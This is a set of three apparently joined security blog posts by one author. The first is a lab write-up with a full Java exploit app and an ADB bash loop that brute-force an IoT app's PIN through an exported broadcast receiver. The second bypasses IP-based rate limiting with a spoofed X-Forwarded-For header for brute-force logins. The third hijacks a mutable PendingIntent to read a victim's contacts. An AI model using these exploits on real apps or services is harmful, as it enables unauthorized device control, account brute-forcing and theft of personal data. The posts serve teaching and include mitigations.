Something I realized; attempting to open MasterReceiver from the Androidmanifest.xml fails, suggesting it's not a standalone class. This likely means it was either dynamically registered in code or was once statically registered, but its class file was deleted without removing the manifest entry. The latter seems more probable to me.

Vulnerable Broadcast Receiver

Since the user’s PIN is broadcasted internally to the app’s components only, one of them must be expecting this broadcast. In the CommunicationsManager activity, a broadcast receiver is dynamically registered with the MASTER_ON intent filter, similar to the one referenced in the manifest. This is our receiver.

The broadcast receiver listens for incoming broadcasts, checks the intent’s action, and extracts the PIN from the extras. It then validates the PIN by passing it to the check_key() method from the Checker class.

The Checker.check_key() method contains a hardcoded AES-encrypted Base64 string. When a PIN is received, both the encrypted string and the input PIN are passed to a decrypt() method. If the decrypted result of both values matches the string "master_on", the PIN is considered valid. This means the logic relies on comparing the decrypted form of a known encrypted value with that of the user-provided PIN.

Crafting a Java Exploit App in Android Studio

We already have the encrypted string, the method to decrypt it, and the correct result we’re looking for (“master_on”). What’s missing is the 3-digit PIN. To find it, we can try every number from 000 to 999. We copy the app’s decryption method into our own exploit app, then add a loop to test each PIN until we find the one that works.

You can find the exploit code and exploit APK on my Github here

public class MainActivity extends AppCompatActivity {
@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button btn_exploit = (Button) findViewById(R.id.btn_exploit);
        
        //Exploit on Button Click
        btn_exploit.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.i("ExploitBtn", "Exploit Button Clicked!");
                 
                //looping through 000 to 999
                for(int i=0; i<=999; i++){
                    String key = String.format("%03d", i); //format 1 as 001
                    try {
                        SecretKeySpec secretKeySpec = generateKey(Integer.parseInt(key));
                        String decrypted = decrypt("OSnaALIWUkpOziVAMycaZQ==", Integer.parseInt(key));
                        if ("master_on".equals(decrypted)){
                            Log.i("MatchFound", "Key: " + key + " -- Decrypted: " + decrypted);
                            Toast.makeText(MainActivity.this, "Key: " + key + " -- Decrypted: " + decrypted, Toast.LENGTH_SHORT).show();
                            break;
                        }
                    } catch (Exception e){
                        e.printStackTrace();
                    }
                }
            }
        });
    }
    //decrypt function
    public final String decrypt(String ds2, int key) throws InvalidKeyException,
            IllegalBlockSizeException, BadPaddingException, NoSuchPaddingException,
            NoSuchAlgorithmException {
        SecretKeySpec secretKey = generateKey(key);
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, secretKey);
        if (Build.VERSION.SDK_INT >= 26) {
            byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds2));
            return new String(decryptedBytes, Charsets.UTF_8);
        }
        throw new UnsupportedOperationException("VERSION.SDK_INT < O");
    }
    //key generator for the decrypt function
    private final SecretKeySpec generateKey(int staticKey) {
        byte[] keyBytes = new byte[16];
        byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
        System.arraycopy(staticKeyBytes, 0, keyBytes, 0, Math.min(staticKeyBytes.length, keyBytes.length));
        return new SecretKeySpec(keyBytes, "AES");
    }
}

We will run this code and upon a few seconds, we see in both Logcat and in our Exploit app that the PIN has been cracked, and correct value is 345.

Finding the correct PIN isn’t enough. If your account is still a guest, entering the PIN won’t work because the app checks user.isGuest(). If that returns true, the code that sends the broadcast won’t run.

We can further modify our exploit app’s code to go ahead and send a broadcast after successfully bruteforcing the PIN.

You can find the exploit code and exploit APK on my Github here

public class MainActivity extends AppCompatActivity {
@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Button btn_exploit = (Button) findViewById(R.id.btn_exploit);
        
        //Brute Force PIN and send broadcast
        btn_exploit.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.i("ExploitBtn", "Exploit Button Clicked!");
                for(int i=0; i<=999; i++){
                    String key = String.format("%03d", i); //format 1 as 001
                    try {
                        SecretKeySpec secretKeySpec = generateKey(Integer.parseInt(key));
                        String decrypted = decrypt("OSnaALIWUkpOziVAMycaZQ==", Integer.parseInt(key));
                        if ("master_on".equals(decrypted)){
                            Log.i("MatchFound", "Key: " + key + " -- Decrypted: " + decrypted);
                            Toast.makeText(MainActivity.this, "Key: " + key + " -- Decrypted: " + decrypted, Toast.LENGTH_SHORT).show();
                            
                            //Send Broadcast with the found PIN
                            Intent intent = new Intent("MASTER_ON");
                            intent.putExtra("key", Integer.parseInt(key));
                            sendBroadcast(intent);
                            Log.i("Broadcast", "Broadcast Sent with PIN: " + key);
                            Toast.makeText(MainActivity.this, "Broadcast Sent with PIN: " + key, Toast.LENGTH_SHORT).show();
                            break;
                        }
                    } catch (Exception e){
                    }
                }
            }
        });
    }

    //decrypt function
    public final String decrypt(String ds2, int key) throws InvalidKeyException,
            IllegalBlockSizeException, BadPaddingException, NoSuchPaddingException,
            NoSuchAlgorithmException {
        SecretKeySpec secretKey = generateKey(key);
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(2, secretKey);
        if (Build.VERSION.SDK_INT >= 26) {
            byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(ds2));
            return new String(decryptedBytes, Charsets.UTF_8);
        }
        throw new UnsupportedOperationException("VERSION.SDK_INT < O");
    }

    //key generator for decrypt function
    private final SecretKeySpec generateKey(int staticKey) {
        byte[] keyBytes = new byte[16];
        byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
        System.arraycopy(staticKeyBytes, 0, keyBytes, 0, Math.min(staticKeyBytes.length, keyBytes.length));
        return new SecretKeySpec(keyBytes, "AES");
    }
}

Run that and we see succeed in our exploit

Upon doing so, we go back to the device list, and we see all are turned ON.

Same for the remaining two devices

Exploiting with ADB Command Line Tool

You can also trigger this behavior using ADB Shell by sending a broadcast with the required key extra. If the PIN is incorrect, the IoT app responds with a floating “Wrong PIN” message. To test this from the command line, you can use the following ADB command:

adb shell am broadcast -a MASTER_ON --ei key 123 -W

Since ADB is a command-line tool, we can automate the process by wrapping the broadcast command in a simple Bash script that loops through all possible PIN values. This allows us to test multiple inputs efficiently.

#!/bin/bash
for pin in {000..999};do
    echo "Trying with PIN: $pin"
    adb shell am broadcast -a MASTER_ON --ei key $pin 1>/dev/null
done

Run the script and pay attention to ADB logcat, when 345 is tried, we should see the Turning all devices on message. Similar message is reflected in the app also.

Video Poc

This challenge, I enjoyed a lot tbh. The exploit code and exploit APK can be found on my Github here.

Hi… see you later.

Thanks for reading this, if you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

IoT Connect App Insecure Broadcast Receiver Exploit | MobileHackingLab was originally published in OSINT Team on Medium, where people are continuing the conversation by highlighting and responding to this story.

🔗READ FOR FREE

Rate Limiting

Rate Limiting is a technique used by application developers to control the number of requests a user or a system can make within a specific time frame. In API’s, the standard response status code for Rate Limiting is 429 Too many Requests but most developers choose to deviate from this. There are many ways developers can implement rate limiting, common ones are:

• IP address-based rate limiting
• Email-based rate limiting
• Device or Session-Based rate limiting
• Geo-Based rate limiting
• Endpoint-specific rate limiting, etc.

We have all come across something like this before, especially when we forget the password to our account. Most applications are forgiving, so they would usually ask you to cool down and try again later after repeated invalid logins. Take Microsoft for instance, would give you a cool off period to try again later.

However, not all apps are like that. Snapchat for instance will temporarily disable your account if you commit too many invalid login attempts within a specific time frame.

The Discovery

Sometime ago, I was hacking a program on HackerOne when I identified the lack of rate limiting on a feature in their application. Their remediation team responded well to this and quickly implemented a fix. I decided to check out the new implementation; let’s say I’m reviewing the login endpoint for instance:

Upon 5 invalid login attempts, it responds with the standard 429 status code. In the response payload, along the message, there is an introduction of the ip parameter that shows your public IP address. This made me suspect they are counting my login attempts based on my IP address.

Allow me to shamelessly plug my other article here: Read about how I abused an Improperly configured PendingIntent in an Android app’s notification to read a victim’s contact info.

The Exploit

To circumvent IP-based rate limiting, there are many methods as a hacker, you can try. The most obvious choice is to use a VPN, when one IP address gets rate limited, you simply switch to another. But this isn’t feasible when you have a big list of passwords you want to brute force through, you can’t just keep switching IPs manually and it will require complex scripting to get your VPN provider’s client to automate this for you. The next choice was to try out the X-Overwriting headers.

X-Overwriting Headers

X-Overwriting headers refer to a class of non-standard HTTP headers that can be used to override or manipulate the behavior of web servers or applications, often in unintended or insecure ways. Some common examples are:

• X-HTTP-Method-Override:Allows us to override the HTTP method
• X-Original-URL / X-Rewrite-URL:Used in URL rewriting
• X-Forwarded-For: Indicates the original IP address of a client (us) connecting through a proxy
• X-Real-IP: Another way to pass the client’s IP address.

As you suspect already, there are a number overriding headers that can help us pass our IP address to the application’s server.

The Actual Bypass

So, I began testing with some of the client IP address overriding headers. First one I tried was the X-Forwarded-For header. I passed my localhost IP to this header. What I’m telling the application’s server is, 127.0.0.1is my original IP address so should this request pass through any proxy(s) before getting to you, don’t mistake the proxy’s IP addresses as where the request originated from. It came from this 127.0.0.1 IP address instead. I sent that and instead of seeing the 429 status code, I get a 401 instead. And in the payload, I can see the spoofed localhost appearing alongside my public IP. Also, we have 5 total login attempts now.

Remember every IP address is limited to 5 login attempts before they get rate limited. So, to circumvent this to successfully automate this to carry out a brute force attack, let’s send this to Burp suite’s Intruder. Configuration explanation:

1. With Sniper Attack, add a payload position to one of the numbers in the IP address’ octet.
2. Use the Numbers payload type.
3. We want to iterate through 1 to 500 brute force requests (can be more).

Run that and each request is sent with a different original IP address with the help of the X-Forwarded-For header. Looking at the X-RateLimit-Limit counter, we see each IP runs once and has 4 more requests left. But that doesn’t matter, our automation moves on the next IP. Since this application even permits invalid IP addresses of octets more than 255, and the numerical values are infinite, we can run an endless brute force.

Mitigation

For IP-based rate limiting:

• If requests to your application are going to come through a proxy, configure your application or web server to only trust X-Forwarded-For headers from known, internal proxies (e.g., NGINX, Cloudflare) else ignore the header.
• Use the IP address from the network layer (e.g., REMOTE_ADDR) instead of trusting headers.
• Use a reverse proxy or WAF (e.g., Cloudflare, AWS WAF, NGINX) to enforce rate limits before the request reaches your app.

Hey you, …bye

Thanks for reading this, if you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

From 429 to 200: From Bypass to Bounty using X-Overwriting Headers was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Akwaaba! pentesters. This is another piece on Static Analysis of an Android app to identify and exploit a PendingIntent vulnerability. If you haven’t already, then check out my other article about how to exploit an Intent Redirection in Android app to read internal files.

Intent

In my previous post I already explained what an intent is and went into more details. To recap, an Intent is a messaging object in Android used to request an action from another app component — like opening a screen or starting a service.

Have you ever received a notification, ignored it for a while, and then tapped on it hours later — only to be taken directly to a specific screen within the app? It feels seamless, almost like magic. But behind the scenes, it’s all thanks to a powerful Android feature called PendingIntent.

PendingIntents act as a kind of “deferred action” that the Android system holds onto. When you eventually interact with the notification, Android uses the PendingIntent to know exactly where in the app to take you — even if the app wasn’t running in the background. It’s a clever mechanism that ensures a smooth and context-aware user experience.

PendingIntent

Pending intent is a wrapper around an intent that grants permissions to another application/component to execute the intent on our behalf even if our application is not running. They allow us to pass an intent to another application or component to be executed at a later time in our name. The system holds the PendingIntent and executes it on your app’s behalf when the user interacts with the notification.

Some components where Pending Intents are used:

1. Notifications: Used to define what happens when a user taps a notification or interacts with its action buttons. Example: Open an activity, trigger a broadcast, or control media playback.
2. Alarms (AlarmManager): Used to schedule tasks to run at a specific time, even if the app is not running. Example: Trigger a broadcast or service to sync data every morning.
3. Widgets: Used to handle user interactions with widgets (e.g., button clicks). Example: A weather widget that opens the app or refreshes data.
4. MediaSession: Used to handle media controls from the lock screen or external devices. Example: Play, pause, skip actions for a music app.

In this post, we’ll dive into how PendingIntents work in Android notifications — and explore the potential risks that come with misconfigured implementations.

PendingIntent in NotificationBuilder

NotificationBuilder is used to construct notifications—setting the title, message, buttons, and images. While some notifications are purely informational, others require user interaction. That’s where PendingIntent comes in: it defines what should happen when the user taps the notification, like opening a specific screen in your app.

In the code snippet below, we start by creating an explicit Intent to launch TargetActivity. This intent is then wrapped in a PendingIntent, which we pass to setContentIntent() in the NotificationBuilder. When creating a PendingIntent, the flag you choose determines whether it can be modified:

• FLAG_MUTABLE (33554432): Allows the intent’s data or extras to be changed before it's executed.
• FLAG_IMMUTABLE (67108864): Locks the intent, ensuring it can't be altered—recommended for better security.
• 0: means no special behavior—but it also means the PendingIntent is mutable by default, which can be a security risk on Android 12+.

Using an explicit intent—where the target activity is clearly defined—is the recommended approach, ensuring the system knows exactly where to navigate when the notification is tapped.

//an Explicit intent to be wrapped in a PendingIntent
Intent TargetIntent = new Intent(this, TargetActivity.class);
Targetintent.putExtra("auth_token", "secret123");
Targetintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);

// Create the PendingIntent
PendingIntent pendingIntent = PendingIntent.getActivity(
    context,
    0,
    Targetintent, //the intent being wrapped as a Pending Intent
    0 //no special behaviour means FLAG_MUTABLE
);

// Build the Notification
NotificationCompat.Builder builder = new NotificationCompat.Builder(context, CHANNEL_ID)
    .setSmallIcon(R.drawable.ic_notification)
    .setContentTitle("Hello!")
    .setContentText("Tap to open the app.")
    .setPriority(NotificationCompat.PRIORITY_DEFAULT)
    .setContentIntent(pendingIntent) //attach pending intent
    .setAutoCancel(true); //notif disappear after being tapped

// Show the notification
NotificationManagerCompat notificationManager = NotificationManagerCompat.from(context);
notificationManager.notify(1001, builder.build());

The Risk of Using Implicit Intents in PendingIntents

In the code below, using an implicit intent — one that doesn’t specify a target activity — can introduce a serious vulnerability. If sensitive data is included, a malicious app could intercept, modify, and forward the intent to the Android system, executing it as if it came from your app. This is known as a PendingIntenthijacking attack, and it can lead to privilege escalation or data leaks.

//an Implicit intent to be wrapped in a PendingIntent
Intent Targetintent= new Intent("com.some.ACTION");  //no Target Activity specified
Targetintent.putExtra("auth_token", "secret123");
Targetintent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);

// Create the PendingIntent
PendingIntent pendingIntent = PendingIntent.getActivity(
    context,
    0,
    Targetintent, //the intent being wrapped as a Pending Intent
    0  //no special behaviour means FLAG_MUTABLE
);

...snip...

Exploiting Misconfigured Pending Intent in NotificationBuilder

We have an APK we have reverse-engineered in JADX-GUI. We’re looking for a NotificationBuilder that uses an implicit intent with unsafe or missing FLAG settings—something an attacker could override. A quick codebase search for PendingIntent reveals a suspicious usage in the NotificationUtils class, which is worth investigating further.

Inside the NotificationUtils class, we find a NotificationBuilder creating a notification with a PendingIntent passed to setContentIntent()—which seems normal at first. But on closer look:

• The base intent is empty (Implicit).
• The flag used is 67108864, which corresponds to FLAG_MUTABLE.

This combination — an empty intent + FLAG_MUTABLE—is dangerous. It opens the door to PendingIntent hijacking, where an attacker can modify the intent and execute unintended actions in the app’s name.

Coding Our Exploit App

In our exploit app, we implement a custom NotificationListenerService to monitor notifications from the vulnerable app. When a notification is posted, we can intercept and hijack the PendingIntent it contains. To do this, we create a service called BadNotificationListener and declare it in the manifest with the required permission BIND_NOTIFICATION_LISTENER_SERVICE and the appropriate intent-filter: NotificationListenerService.

Before anything else, the vulnerable app must have permission to read the user’s contacts. As shown in its AndroidManifest.xml, it explicitly requests the READ_CONTACTS permission.

Here’s how it looks when the user has granted this permission:

In our exploit setup, we use the NotificationListenerService to detect notifications from the vulnerable app. Once captured, we log key details and extract the PendingIntent from the notification. We then modify it to redirect the contacts URI to our malicious app.

Overriding the PendingIntent

To exploit the misconfigured PendingIntent, we construct a new fillInIntent with a custom action, such as EVIL_UNIQUE_ACTION. This intent is designed to override the original when sent back through the system. We assign it the Intent.FLAG_GRANT_READ_URI_PERMISSION to ensure it can access the data URI we attach.

Next, we use ClipData to bundle the contactsURI—this allows us to pass sensitive content securely within the intent. Once prepared, we inject this modified intent into the original PendingIntent and trigger it. The Android system then launches the intent, and any activity registered to handle the EVIL_UNIQUE_ACTION will receive the incoming URI and gain access to the contact data.

Implementing LeakActivity

We’ll implement a new LeakActivity to receive incoming content:// URI pointing to contacts. This activity will be registered with a custom intent action, such as EVIL_UNIQUE_ACTION, via an <intent-filter> in the AndroidManifest.xml. To allow external apps to launch it, set android:exported="true". This configuration enables the activity to be triggered by any intent matching the specified action and URI pattern.

In the code of LeakActivity, we begin by retrieving the incoming Intent's ClipData and extracting the embedded URI. This URI is then passed to a helper method (readContactFromUri()) responsible for reading the contact data. The method queries the content resolver, extracts relevant contact details, and logs the output to a TextView for display.

In MainActivity, we add logic to request the android.permission.BIND_NOTIFICATION_LISTENER_SERVICE permission. This is triggered within a button click listener. When the button is pressed, the app redirects the user to the system settings screen where they can grant notification access to the app.

Run the exploit app and when the Exploit button is clicked, the app launches the system’s Notification Access settings using the ACTION_NOTIFICATION_LISTENER_SETTINGS intent. This takes the user directly to the permissions page, where they can manually enable notification access for the app.

If you are a web app pentester and your brute force attacks get rate limited a lot, you can bypass this and turn 429 Rate Limit into $$bounty$$.

The Actual Exploit in Action

Now when we launch the vulnerable app for the first time, We get a Notification telling us we have been granted some tokens. The pending Intent contained in this notification is what gets exploited.

Once the notification appears, the embedded PendingIntent is automatically triggered, launching our LeaksActivity. This activity receives the contact URI and reads the user’s contact list without further interaction.

Video PoC

Below is a video PoC demonstrating the full exploit flow — from granting the exploit app notification access, to intercepting the vulnerable app’s PendingIntent, and finally reading the user’s contact information via LeaksActivity.

How to Secure a PendingIntent

1. Use PendingIntent.FLAG_IMMUTABLE (API 31+). This ensures the intent cannot be modified by the receiver.
2. Prefer explicit intents over implicit ones to avoid interception by other apps.
3. Ensure the Intent used in the PendingIntent targets only your app components. Use intent.setPackage(context.getPackageName());
4. If the PendingIntent launches an activity or service, make sure that component is not unnecessarily exported in the manifest.

Hey… see you

Thanks for reading this, if you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.